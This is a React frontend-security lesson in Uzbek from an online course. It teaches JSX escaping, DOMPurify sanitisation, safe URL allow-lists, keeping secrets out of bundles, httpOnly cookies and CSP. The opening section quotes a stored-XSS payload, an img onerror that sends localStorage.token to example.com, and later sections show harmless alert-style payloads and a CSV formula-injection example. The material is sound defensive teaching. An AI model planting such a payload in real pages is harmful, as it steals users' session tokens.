IlmHamroh
JavaScript Full-stack/18-qism. React chuqur41/42-dars18 daqiqa
Mundarija (30)

Frontend xavfsizligi React'da: XSS, dangerouslySetInnerHTML, javascript: URL va token saqlash

Qisqacha: React JSX'dagi har {matn} ni ekranlaydi — foydalanuvchi yozgan <script> HTML bo'lib emas, matn bo'lib chiqadi. Bu XSS'ning eng katta qismini yopadi. Qolgan teshiklar — React'ni chetlab o'tadigan joylarda: dangerouslySetInnerHTML (faqat DOMPurify kabi tozalagichdan keyin), foydalanuvchi bergan URL (javascript: — React 19 href da to'sadi, lekin window.open da yo'q), ref orqali innerHTML. Brauzerga ketgan har narsa — ochiq: VITE_ o'zgaruvchilarida sir saqlanmaydi. Token — localStorage da emas, iloji bo'lsa httpOnly cookie'da. Va oxirgi qatlam — CSP: kod teshik qolsa ham, begona skript ishlamaydi.

Bu darsda

  • React avtomatik ekranlashini jonli ko'rasiz va qaysi joylarda u ishlamasligini bilasiz.
  • dangerouslySetInnerHTML ni xavfsiz ishlatasiz: DOMPurify bilan va ESLint qoidasi bilan.
  • Foydalanuvchi URL'ini tekshirasiz: javascript:, target="_blank" va rel.
  • Bundle'dagi sirlar va token saqlash (localStorage va httpOnly cookie) haqida to'g'ri qaror qabul qilasiz.
  • vazifalar ning xavfsizlik ko'rigini o'qiysiz: 11 xil XSS sink — 0, CSP, Trusted Types, ta'minot zanjiri.

Oldin bilishingiz kerak: XSS va DOM xavfsizligi, Brauzer xavfsizlik modeli, JSX aslida JavaScript, Vite III: env o'zgaruvchilar.

1. Nega bu kerak?

«Bahor» saytida sharhlar bo'limi bor. Mijoz ismi va sharh matnini yozadi, sayt hammaga ko'rsatadi. Bir kuni sharhlardan biri shunday edi:

text
Osh zo'r! <img src=x onerror="fetch('https://example.com/o?c='+localStorage.token)">

Agar sayt bu matnni HTML sifatida chizsa, har ochgan mijozning brauzeri rasm yuklashga urinadi va xato bo'lganda onerror dagi kodni bajaradi. Kod localStorage dagi tokenni begona serverga yuboradi. Bu — saqlanadigan XSS (stored XSS, XSS va DOM xavfsizligi). Hujumchi endi mijoz nomidan buyurtma beradi.

13-qismda bunga qarshi vanilla JS'da kurashdik: innerHTML o'rniga textContent. React'da yaxshi xabar bor: u buni sizning o'rningizga qiladi. Yomon xabar ham bor: hamma joyda emas.

Hayotiy o'xshatish: bank kassasi oynasi. Pul va hujjat faqat maxsus tirqishdan o'tadi — kassir har narsani ko'rib oladi. React'ning {matn} i — shu tirqish. dangerouslySetInnerHTML esa eshikni ochib, "kiravering" deyish. Nomida "xavfli" so'zi bejiz emas.

2. React avtomatik ekranlaydi

2.1 Jonli tekshiruv

Bir xil matnni uch xil chizamiz va DOM'ga qaraymiz. Hujum matni bu yerda zararsiz: onmouseover faqat sichqoncha ustiga kelganda ishlaydi va faqat konsolga yozadi.

jsx
export default function App() {
  const comment =
    `<b onmouseover="console.log('hujum!')">` + "Osh zo'r</b>";
  function check() {
    const p = document.querySelector("#jsx").innerHTML;
    const div = document.querySelector("#xom").innerHTML;
    console.log("JSX:", p);
    console.log("dangerously:", div);
  }
  return (
    <div>
      <p id="jsx">{comment}</p>
      <div id="xom" dangerouslySetInnerHTML={{ __html: comment }} />
      <button onClick={check}>Tekshirish</button>
    </div>
  );
}

Konsolda:

text
JSX: &lt;b onmouseover="console.log('hujum!')"&gt;Osh zo'r&lt;/b&gt;
dangerously: <b onmouseover="console.log('hujum!')">Osh zo'r</b>

Ekranda:

text
<b onmouseover="console.log('hujum!')">Osh zo'r</b>
Osh zo'r
Tekshirish

Birinchi qatorda < → &lt;: React matnni matn tuguni sifatida qo'ydi, brauzer uni teg deb o'qimadi. Ekranda hujum kodi oddiy harflar bo'lib ko'rindi — zararsiz. Ikkinchi qatorda — haqiqiy <b> elementi, onmouseover atributi bilan. Natija oynasida "Osh zo'r" ustiga sichqonchani olib boring: konsolda hujum! chiqadi.

2.2 React qayerda himoya qiladi, qayerda yo'q

Joy Himoya Izoh
{matn} — JSX ichida ekranlanadi asosiy himoya
oddiy atribut: title={matn}, alt={matn} atribut qiymati sifatida
href={url}, src={url} qisman javascript: — to'siladi (React 19), boshqalari — yo'q
dangerouslySetInnerHTML HTML to'g'ridan-to'g'ri
ref.current.innerHTML = … React'ni chetlab o'tadi
window.open(url), location.href = url oddiy JS
style={{ background: url }} CSS'da url() — ma'lumot sizishi mumkin

Qoida: React'ning JSX'i ichida — xavfsiz. JSX'dan tashqariga chiqqan har joy — sizning javobgarligingiz.

3. dangerouslySetInnerHTML

3.1 Qachon kerak

Ba'zan HTML haqiqatan kerak: CMS'dan kelgan maqola, markdown'dan yasalgan matn, e-pochta shabloni. Bunday HTML — tashqi ma'lumot, unga ishonib bo'lmaydi. Hatto o'z adminingiz yozgan bo'lsa ham: admin hisobi buzilishi mumkin.

React API'si ataylab noqulay: dangerouslySetInnerHTML={{ __html: … }}. Ikki qavat jingalak qavs va __html — "haqiqatan shunday qilmoqchimisiz?" degan savol.

3.2 Haqiqiy brauzerda nima bo'ladi

Quyidagi blokni saytda ishga tushiring. Bu yerdagi hujum kodi o'zini o'zi ishga tushiradi — sichqonchasiz:

jsx
export default function App() {
  const bio =
    "Salom! " +
    `<img src="yoq.png" onerror="console.log('hujum ishladi')">`;
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}

Natija oynasining konsoliga qarang. Brauzer yoq.png ni yuklay olmaydi, onerror ishlaydi — agar sahifaning CSP'si inline ishlovchilarni taqiqlamasa. Bu yerdagi console.log o'rnida fetch(…) bo'lsa — yuqoridagi o'g'irlik. Shu blok tekshiruvchimizning brauzer modelida ishga tushirilmaydi: u rasm yuklamaydi, demak onerror u yerda ishlamaydi.

3.3 DOMPurify bilan tozalash

To'g'ri yo'l — HTML'ni tozalash (sanitizatsiya, XSS va DOM xavfsizligi): xavfsiz teglarni (<b>, <p>, <a href>) qoldirish, xavfli narsalarni (<script>, on* atributlari, javascript:) olib tashlash. Bu ishni o'zingiz regex bilan qilmang — HTML tahlili juda murakkab, aylanib o'tish yo'llari ko'p. Sinalgan kutubxona — DOMPurify:

jsx
// o'z loyihangizda: npm i dompurify
import DOMPurify from "dompurify";

function Article({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// DOMPurify.sanitize(`Salom! <img src="yoq.png" onerror="…">`)
// natija: <img> qoladi, onerror atributi olib tashlanadi

onerror olib tashlandi, rasm qoldi. Uch qoida:

  1. Tozalash — chizishdan oldin, har safar. Serverda bir marta tozalab saqlash ham yaxshi, lekin brauzerda yana bir marta — qo'shimcha qavat.
  2. Kerakli teglarni ruxsat ro'yxati bilan bering: DOMPurify.sanitize(html, { ALLOWED_TAGS: ["b", "i", "p", "a"] }). Kam narsaga ruxsat — kam xavf.
  3. Markdown bo'lsa — HTML'siz yo'l bor. react-markdown matnni to'g'ridan-to'g'ri React elementlariga aylantiradi, dangerouslySetInnerHTML umuman kerak emas (Markdown render qilish).

Brauzerning o'z tozalagichi ham paydo bo'lmoqda — element.setHTML() (Sanitizer API, XSS va DOM xavfsizligi darsida ko'rgansiz). Hamma brauzerda bo'lmaguncha DOMPurify — standart tanlov.

3.4 ESLint bilan taqiqlash

Eng yaxshi dangerouslySetInnerHTML — yo'g'i. vazifalar da ESLint uni umuman taqiqlaydi (eslint.config.js, kanondan):

js
{
  // React'dagi innerHTML (17/#02): JSX matnni o'zi ekranlaydi,
  // HTML faqat shu atribut orqali kiradi
  selector: "JSXAttribute[name.name='dangerouslySetInnerHTML']",
  message: "XSS: matnni JSX ichida {matn} qilib yozing.",
},

Haqiqatan kerak bo'lgan bitta joy bo'lsa — o'sha qatorda // eslint-disable-next-line no-restricted-syntax va yonida nega xavfsiz ekani (masalan, "DOMPurify bilan tozalangan"). Kod ko'rigida bunday qator darhol ko'zga tashlanadi.

4. URL'lar: javascript:, target="_blank"

4.1 javascript: — React 19 to'sadi

Foydalanuvchi profilida "sayt" maydoni bor. Hujumchi u yerga javascript:fetch(…) yozadi. <a href={site}> bosilsa — kod ishlaydi. React 19 buni href va src da to'sadi:

jsx
export default function App() {
  const site = "javascript:alert('hujum')";
  function check() {
    const href = document.querySelector("a").getAttribute("href");
    console.log("href:", href);
  }
  return (
    <p>
      <a href={site}>Mijoz sayti</a>{" "}
      <button onClick={check}>Tekshirish</button>
    </p>
  );
}

Konsolda:

text
href: javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')

Ekranda:

text
Mijoz sayti Tekshirish

React qiymatni almashtirdi: havola bosilsa, endi faqat xato tashlaydi — "React xavfsizlik uchun javascript: URL'ni to'sdi". Bu yaxshi, lekin bunga tayanmang:

  • window.open(site), location.href = site — React'dan tashqarida, himoya yo'q.
  • data:text/html,… — React to'smaydi, ba'zi holatlarda xavfli.
  • Ochiq yo'naltirish (open redirect): https://yomon.example.com — protokol to'g'ri, lekin manzil firibgar sayt.

To'g'ri yo'l — ruxsat ro'yxati (URL va URLSearchParams):

js
function safeUrl(value) {
  try {
    const url = new URL(value, "https://example.com");
    return ["https:", "http:", "mailto:"].includes(url.protocol)
      ? url.href
      : null;
  } catch {
    return null;
  }
}

console.log(safeUrl("https://example.com")); // https://example.com/
console.log(safeUrl("javascript:alert(1)")); // null
console.log(safeUrl("JaVaScRiPt:alert(1)")); // null
console.log(safeUrl("mailto:ali@example.com"));
// mailto:ali@example.com

new URL protokolni kichik harfga keltiradi — JaVaScRiPt: kabi aylanib o'tish ishlamaydi. Oddiy value.startsWith("javascript:") tekshiruvi esa katta harf hiylasi va boshidagi bo'shliqlar bilan aylanib o'tiladi.

4.2 target="_blank" va rel

Yangi tabda ochiladigan havola: <a href={url} target="_blank">. Eski brauzerlarda yangi sahifa window.opener orqali sizning sahifangizni boshqara olardi — masalan, uni soxta login sahifasiga almashtirardi (tabnabbing). Zamonaviy brauzerlar target="_blank" uchun noopener ni avtomatik qo'llaydi. Baribir rel yozish odati qolgan va foydali:

jsx
<a href={url} target="_blank" rel="noopener noreferrer">
  Hamkor sayti
</a>
  • noopener — window.opener = null (eski brauzerlar uchun ham).
  • noreferrer — yangi saytga qaysi sahifadan kelganingiz (Referer sarlavhasi) yuborilmaydi. Masalan, URL'da buyurtma id'si bo'lsa — u begona serverga ketmaydi.

vazifalar da target="_blank" umuman yo'q — ko'rik buni ham tekshirdi.

Tekshirib ko'ring: React 19 javascript: ni href da to'sar ekan, safeUrl funksiyasi nega baribir kerak?

Javob

Uch sabab. (1) URL faqat href ga emas, window.open, location.href, fetch ga ham ketadi — u yerda React yo'q. (2) React faqat javascript: ni to'sadi, data: va begona domenlarni emas. (3) Himoya "framework xulqi"ga emas, o'z kodingizga tayanishi kerak: React keyingi versiyada boshqacha qilsa yoki kod React'siz joyga ko'chsa — himoya qolsin. Bu "chuqur himoya" (defense in depth) g'oyasi.

5. Brauzerga ketgan hamma narsa — ochiq

5.1 Bundle'dagi sirlar

Vite'da VITE_ bilan boshlanadigan o'zgaruvchilar build paytida kodga yoziladi (Vite III: env). .env dagi:

bash
VITE_API_URL=https://example.com/api
VITE_MAP_KEY=sk_live_51H…   # ❌ sir — bundle'ga tushadi

Build'dan keyin dist/assets/index-….js da "sk_live_51H…" ochiq turadi. Har mijoz DevTools → Sources'da uni ko'radi. "Minifikatsiya yashiradi" — yo'q: kalit satr sifatida o'zgarmay qoladi. Qoida:

  • Ochiq kalitlar (xarita API'sining "publishable" kaliti, Sentry DSN, analitika id'si) — mumkin. Ular brauzer uchun mo'ljallangan va domen bilan cheklanadi.
  • Maxfiy kalitlar (to'lov tizimi, AI API, ma'lumotlar bazasi paroli) — hech qachon frontend'da. Ular serverda turadi, brauzer server orqali so'raydi (Sirlarni boshqarish).

Tekshirish oson: npm run build, keyin dist/ da qidiring (grep -r "sk_live" dist). Source map'lar ham ochiq bo'lishi mumkin (Source map'lar) — ular asl kodingizni ko'rsatadi.

5.2 Token qayerda saqlanadi

Login bo'lgach server token beradi. Uni qayerda saqlash — frontend xavfsizligining eng ko'p munozara qilinadigan savoli:

Joy XSS o'qiy oladimi CSRF xavfi Izoh
localStorage ha — localStorage.token yo'q oddiy, lekin XSS bo'lsa — token ketadi
xotira (JS o'zgaruvchi) ha, lekin qiyinroq yo'q sahifa yangilansa — yo'qoladi
httpOnly cookie yo'q bor → SameSite bilan yopiladi JS umuman ko'rmaydi

«Nega bu kerak?» bo'limidagi hujum localStorage.token ni o'qidi. httpOnly cookie'ni JS umuman o'qiy olmaydi — brauzer uni faqat so'rov bilan serverga o'zi yuboradi (Cookie'lar JS'dan). Shuning uchun zamonaviy tavsiya: sessiya yoki refresh token — httpOnly; Secure; SameSite=Lax cookie'da. Bu bilan XSS butunlay yo'qolmaydi: hujumchi sahifa ichidan so'rov yubora oladi. Lekin tokenni olib ketolmaydi — xavf sahifa yopilishi bilan tugaydi.

Batafsil va server tomoni — 28-qismda (Tokenni qayerda saqlash va CSRF). vazifalar da token yo'q: keyingi darsdagi soxta kirish faqat ism saqlaydi, parol va token hech qayerda yo'q.

6. CSP va uchinchi tomon skriptlari

6.1 CSP — oxirgi qatlam

Kodda teshik qoldi deylik — dangerouslySetInnerHTML tozalashsiz. CSP (Content Security Policy, Brauzer xavfsizlik modeli) brauzerga aytadi: "faqat shu manbalardan skript ishga tushir". Inline onerror="…" va <script>alert</script> — taqiqlangan, chunki ular sahifaning o'zida, ruxsat etilgan fayldan emas. Himoya qavatlarini diagrammada ko'ring:

flowchart TD
  U["Foydalanuvchi matni"] --> J{"JSX {matn}?"}
  J -- "ha" --> S["Ekranlandi: xavfsiz"]
  J -- "yo'q: HTML kerak" --> P["DOMPurify: tozalash"]
  P --> D["dangerouslySetInnerHTML"]
  D --> C{"CSP: inline skript?"}
  C -- "taqiqlangan" --> B["Brauzer bajarmaydi"]
  C -- "ruxsat: unsafe-inline" --> X["XSS ishladi"]

Diagrammadagi yagona xavfli yo'l uchta xatoni talab qiladi: JSX'dan chiqish, tozalamaslik va CSP'da 'unsafe-inline'. Har qavat boshqasining xatosini yopadi.

vazifalar ning CSP'si (index.html dagi meta va vercel.json sarlavhasi bir xil, faqat frame-ancestors sarlavhada):

text
default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self' https://ilmhamroh.uz; manifest-src 'self'; worker-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; require-trusted-types-for 'script'; trusted-types vazifalar

script-src 'self' — faqat o'z saytimizdagi fayllar, inline yo'q. require-trusted-types-for 'script' — Trusted Types: innerHTML ga oddiy satr berish brauzerning o'zida TypeError beradi, faqat ruxsat etilgan siyosatdan o'tgan qiymat qabul qilinadi. Bunday CSP'da dangerouslySetInnerHTML ga tozalanmagan satr berilsa — brauzer uni rad etadi. CSP chuqur — 35-qismda (Content Security Policy chuqur).

6.2 Uchinchi tomon skriptlari

Analitika, onlayn chat, reklama piksellari — <script src="https://begona-servis…">. Bunday skript sizning sahifangizda sizning huquqlaringiz bilan ishlaydi: DOM'ni o'qiydi, formadagi matnni ko'radi, localStorage ga yetadi. Servis buzilsa — sizning saytingiz ham buzilgan. Himoya choralari:

  • Kerakmi? Har skript — xavf va yuklash vaqti. Eng xavfsiz skript — qo'shilmagani.
  • SRI (Subresource Integrity) — <script src="…" integrity="sha384-…" crossorigin>: fayl o'zgarsa, brauzer uni bajarmaydi. Versiyasi qotirilgan CDN fayllari uchun.
  • CSP ruxsat ro'yxati — script-src 'self' https://analitika.example.com: faqat aniq domen.
  • npm paketlari ham "uchinchi tomon" — ta'minot zanjiri (Ta'minot zanjiri xavfsizligi): npm audit, o'rnatishda skript ishga tushiradigan paketlar.

7. Hujumchi nigohi

Hujumchi React ilovasini qanday "teshadi"? Uning ro'yxati va bizning javob:

Hujumchi urinadi Qanday Himoya
sharhda <script>, <img onerror> stored XSS JSX ekranlaydi; HTML kerak bo'lsa — DOMPurify
profil "sayt"ida javascript: bosilganda kod React 19 to'sadi + safeUrl ruxsat ro'yxati
URL parametrida ?next=https://yomon… open redirect yo'naltirishda faqat o'z domeni
DevTools'da bundle'ni o'qish kalit qidirish sir frontend'da yo'q
XSS bilan localStorage.token token o'g'irlash httpOnly cookie
CSV eksportida =HYPERLINK(…) Excel'da formula bajariladi =, +, -, @ oldiga '
buzilgan npm paket ta'minot zanjiri npm audit, lock fayl, kam paket

Oxirgidan oldingi qator kutilmagan ko'rinishi mumkin, lekin real: "CSV injection". Foydalanuvchi vazifa matniga =HYPERLINK("https://…","bosing") yozadi. Boshqa odam eksportni Excel'da ochadi — formula ishlaydi. vazifalar dagi CSV eksporti buni yopgan (Headless komponentlar qadamida): =, +, -, @ (yoki tab) bilan boshlangan katak oldiga ' qo'yiladi, Excel uni matn deb biladi.

8. Vazifalar qadami: xavfsizlik ko'rigi

Bu darsda vazifalar kodi o'zgarmaydi — ko'rik hech qanday tuzatish talab qilmadi. Shuning uchun bu qadam emas, o'lchov (xuddi StrictMode chuqur kabi). Kanon holat 40 da ko'rik o'tkazdi (natijalar/41-xavfsizlik.txt). Qisqasi:

1. XSS sink'lari — src/ da 11 xil qidiruv:

text
  dangerouslySetInnerHTML: 0 qator (izohlarsiz: 0)
  innerHTML: 0 qator (izohlarsiz: 0)
  outerHTML: 0 qator (izohlarsiz: 0)
  insertAdjacentHTML: 0 qator (izohlarsiz: 0)
  document.write: 0 qator (izohlarsiz: 0)
  eval(: 0 qator (izohlarsiz: 0)
  new Function: 0 qator (izohlarsiz: 0)
  javascript:: 0 qator (izohlarsiz: 0)
  target="_blank": 0 qator (izohlarsiz: 0)
  setAttribute("href: 0 qator (izohlarsiz: 0)
  srcdoc: 0 qator (izohlarsiz: 0)

Sink (cho'kma) — matn HTML yoki kod bo'lib bajarilishi mumkin bo'lgan joy. Hammasi — 0.

2. ESLint haqiqatan ushlaydimi? Vaqtinchalik faylda innerHTML = … va dangerouslySetInnerHTML yozildi — npm run lint 3 ta xato berdi, ikkitasi bizning XSS qoidalarimizdan: XSS: innerHTML/outerHTML o'rniga textContent yoki createElement va XSS: matnni JSX ichida {matn} qilib yozing. Qoida bor-yo'qligini emas, ishlashini tekshirish — muhim farq.

3. Bundle'da sirlar (dist/): VITE_API_URL — 1 fayl (ochiq, kerak). Dev serverdagi API_PROXY — 0 (brauzerga chiqmadi). parol, secret, token, apiKey, Bearer — 0. password — 1 fayl, lekin tekshirildi: bu react-dom ichidagi input turlari ro'yxati (password:!0,range:!0,…), sir emas. Avtomatik qidiruv natijasini qo'lda ko'rish ham — ishning bir qismi.

4. Trusted Types — siyosat oq ro'yxatda faqat sw.js va shu saytdagi assets/*.js. E2e: oddiy satr bilan new Worker — TypeError, boshqa nomli siyosat — TypeError, blob: ishchi — TypeError.

5. CSP — meta va vercel.json bir xil (farqi faqat frame-ancestors, u meta'da ishlamaydi).

6. Ta'minot zanjiri — npm audit: found 0 vulnerabilities, o'rnatishda skript ishlatadigan paket — 0, runtime bog'liqliklari faqat uchta: react@19.3.0, react-dom@19.3.0, web-vitals@6.2.3.

7. Boshqa — CSV formula injection himoyasi (node testi bilan), tashqi ma'lumot (boshqa tab, localStorage, import fayli, server javobi) — unknown sifatida olinib tekshiriladi (API ma'lumotlarini tiplash). Source map'lar ochiq — 16-qismdagi qaror: repo ochiq, sir yo'q.

Bitta talab keyingi darsga o'tadi: "parol va token localStorage da yo'q". Soxta kirish qo'shilgach, e2e buni tekshiradi: input[type=password] — 0, saqlanadigan narsa faqat ism.

9. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
sharhdagi HTML "ishlab ketdi" dangerouslySetInnerHTML tozalashsiz JSX {matn} yoki DOMPurify
React has blocked a javascript: URL foydalanuvchi URL'i tekshirilmagan safeUrl ruxsat ro'yxati
API kalit DevTools'da ko'rindi VITE_ o'zgaruvchida sir kalit serverda, frontend — server orqali
XSS'dan keyin hisob o'g'irlandi token localStorage da httpOnly cookie
<b> kabi matnni regex bilan tozalash aylanib o'tiladi DOMPurify
CSP qo'shildi — sayt buzildi inline skript/stil fayllarga ko'chiring; 'unsafe-inline' emas
Excel'da formula ishladi CSV injection =, +, -, @ oldiga '

10. Mashqlar

Mashqlar kurs/mashqlar/18/41-xavfsizlik/ da.

1-mashq (oson): xavfsizmi?

user.name — foydalanuvchi yozgan matn. ha (xavfsiz) yoki yo'q:

  • <p>{user.name}</p>
  • <div dangerouslySetInnerHTML={{ __html: user.name }} />
  • <img alt={user.name} src="/osh.webp" />
  • window.open(user.site) (tekshiruvsiz)
Yechim
  • ha — JSX matnni ekranlaydi.
  • yo'q — HTML to'g'ridan-to'g'ri DOM'ga.
  • ha — atribut qiymati sifatida; " ham ekranlanadi, atributdan "chiqib ketib" bo'lmaydi.
  • yo'q — window.open React emas, javascript: va begona domen o'tadi.

2-mashq (o'rta): xavfsiz havola komponenti

SafeLink({ href, children }): href faqat https:, http: yoki mailto: bo'lsa — <a> (http(s) bo'lsa — target="_blank" va rel="noopener noreferrer"). Aks holda — oddiy <span> (havolasiz) va konsolga rad etildi: + qiymat. Ishora: «javascript: — React 19 to'sadi» bo'limidagi safeUrl.

Yechim
jsx
function safeUrl(value) {
  try {
    const url = new URL(value, "https://example.com");
    return ["https:", "http:", "mailto:"].includes(url.protocol)
      ? url
      : null;
  } catch {
    return null;
  }
}

function SafeLink({ href, children }) {
  const url = safeUrl(href);
  if (url === null) {
    console.log("rad etildi:", href);
    return <span>{children}</span>;
  }
  const external = url.protocol !== "mailto:";
  return (
    <a
      href={url.href}
      target={external ? "_blank" : undefined}
      rel={external ? "noopener noreferrer" : undefined}
    >
      {children}
    </a>
  );
}

export default function App() {
  return (
    <ul>
      <li>
        <SafeLink href="https://example.com/menyu">Menyu</SafeLink>
      </li>
      <li>
        <SafeLink href="mailto:ali@example.com">Yozish</SafeLink>
      </li>
      <li>
        <SafeLink href="JavaScript:alert(1)">Sovg'a!</SafeLink>
      </li>
    </ul>
  );
}

Konsolda:

text
rad etildi: JavaScript:alert(1)

Ekranda:

text
Menyu
Yozish
Sovg'a!

Uchinchi element — <span>, havola emas: bosilsa hech narsa bo'lmaydi. new URL protokolni kichik harfga keltirdi, shuning uchun JavaScript: ham ushlandi. Nisbiy manzil (/menyu) ham ishlaydi — new URL ning ikkinchi argumenti asos bo'ladi. Haqiqiy loyihada asos — location.origin.

3-mashq (qiyin): <mark> — innerHTML'siz

Qidiruv so'zini matnda <mark> bilan ajrating. Sardorning yechimi — text.replaceAll(q, "<mark>" + q + "</mark>") va dangerouslySetInnerHTML. Nega bu XSS? Xavfsiz variantini yozing: matnni bo'laklarga bo'lib, mos bo'laklarni JSX <mark> ga o'rang. Matn: Osh <b>yangi</b> — osh zo'r, so'z: osh (katta-kichik harf farqsiz). Ishora: toLowerCase() va indexOf bilan sikl (satr metodlari); vazifalar dagi BelgilanganMatn — xuddi shu yondashuv.

Yechim
jsx
function Highlight({ text, query }) {
  const parts = [];
  const lower = text.toLowerCase();
  const q = query.toLowerCase();
  let pos = 0;
  let found = lower.indexOf(q, pos);
  while (q !== "" && found !== -1) {
    parts.push(text.slice(pos, found));
    const end = found + q.length;
    parts.push(<mark key={found}>{text.slice(found, end)}</mark>);
    pos = end;
    found = lower.indexOf(q, pos);
  }
  parts.push(text.slice(pos));
  return <p>{parts}</p>;
}

export default function App() {
  return <Highlight text="Osh <b>yangi</b> — osh zo'r" query="osh" />;
}

Ekranda:

text
Osh <b>yangi</b> — osh zo'r

Ekranda <b> — oddiy harflar, chunki har bo'lak JSX'da {…} orqali chizildi. Ikki "osh" — <mark> ichida (ekran matnida belgilash ko'rinmaydi, lekin DOM'da bor). Sardorning varianti nega xavfli: text ham, q ham foydalanuvchidan — ikkalasi ham HTML sifatida DOM'ga tushardi. Matnda <img onerror> bo'lsa — XSS. Bundan tashqari, replaceAll HTML teglari ichidagi mosliklarni ham almashtirib, belgilashni buzardi.

4-mashq: Vazifalar qadami

O'z vazifalar ingizda ko'rik o'tkazing: (1) src/ da XSS sink'larini qidiring (grep -rn "innerHTML\|dangerouslySetInnerHTML\|eval(" src); (2) vaqtinchalik faylda dangerouslySetInnerHTML yozib, npm run lint ushlashini tekshiring, faylni o'chiring; (3) npm run build dan keyin dist/ da token, secret, apiKey ni qidiring; (4) npm audit.

Yechim
  • (1) — 0 qator (kanon ko'rigidagidek).
  • (2) — XSS: matnni JSX ichida {matn} qilib yozing no-restricted-syntax xatosi. Fayl o'chirilgach — lint toza.
  • (3) — topilmasligi kerak. password topilsa — kontekstini ko'ring (react-dom ichidagi input turlari ro'yxati).
  • (4) — found 0 vulnerabilities. Kod o'zgarmadi — commit yo'q.

11. Real ishda

  • Kod ko'rigi — dangerouslySetInnerHTML, innerHTML, eval, window.open(userInput) ko'rinsa — darhol savol. Ko'p jamoalar ularni ESLint bilan taqiqlaydi (vazifalar dagidek).
  • SAST vositalari (Semgrep, CodeQL, GitHub code scanning) — shu sink'larni avtomatik qidiradi (Xavfsizlik testlari).
  • Bug bounty — XSS eng ko'p to'lanadigan topilmalardan biri. React ilovalarida u deyarli doim dangerouslySetInnerHTML yoki URL'da topiladi.
  • Intervyu savollari: "React XSS'dan qanday himoya qiladi?", "dangerouslySetInnerHTML ni qachon va qanday ishlatasiz?", "tokenni qayerda saqlaysiz va nega?", "CSP nima beradi?".

Xulosa

  • React JSX'dagi {matn} ni ekranlaydi — XSS'ning asosiy himoyasi; JSX'dan tashqari joylar — sizning javobgarligingiz.
  • dangerouslySetInnerHTML — faqat DOMPurify'dan keyin, yaxshisi — umuman yo'q (ESLint bilan taqiq).
  • URL — ruxsat ro'yxati (new URL + protokol); React 19 javascript: ni href da to'sadi, lekin window.open da yo'q. Yangi tab — rel="noopener noreferrer".
  • Bundle ochiq: VITE_ da sir yo'q. Token — httpOnly cookie'da, localStorage da emas.
  • CSP + Trusted Types — oxirgi qatlam; uchinchi tomon skriptlari — sizning huquqingiz bilan ishlaydi.
  • vazifalar: 11 sink — 0, ESLint ishlaydi, bundle'da sir yo'q, npm audit 0, CSV injection yopilgan.

Keyingi dars: React'da auth holati — AuthContext, himoyalangan UI va barcha tablarda chiqish (soxta kirish bilan).

Manbalar

  • React: dangerouslySetInnerHTML, javascript: URL'lar — react.dev/reference/react-dom/components/common (2026-10 holatiga, React 19.3)
  • OWASP: Cross Site Scripting Prevention Cheat Sheet — cheatsheetseries.owasp.org
  • OWASP: CSV Injection — owasp.org/www-community/attacks/CSV_Injection
  • DOMPurify — github.com/cure53/DOMPurify
  • MDN: Content Security Policy, Trusted Types API — developer.mozilla.org
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
Frontend xavfsizligi React'da: XSS, dangerouslySetInnerHTML, javascript: URL va token saqlash — IlmHamroh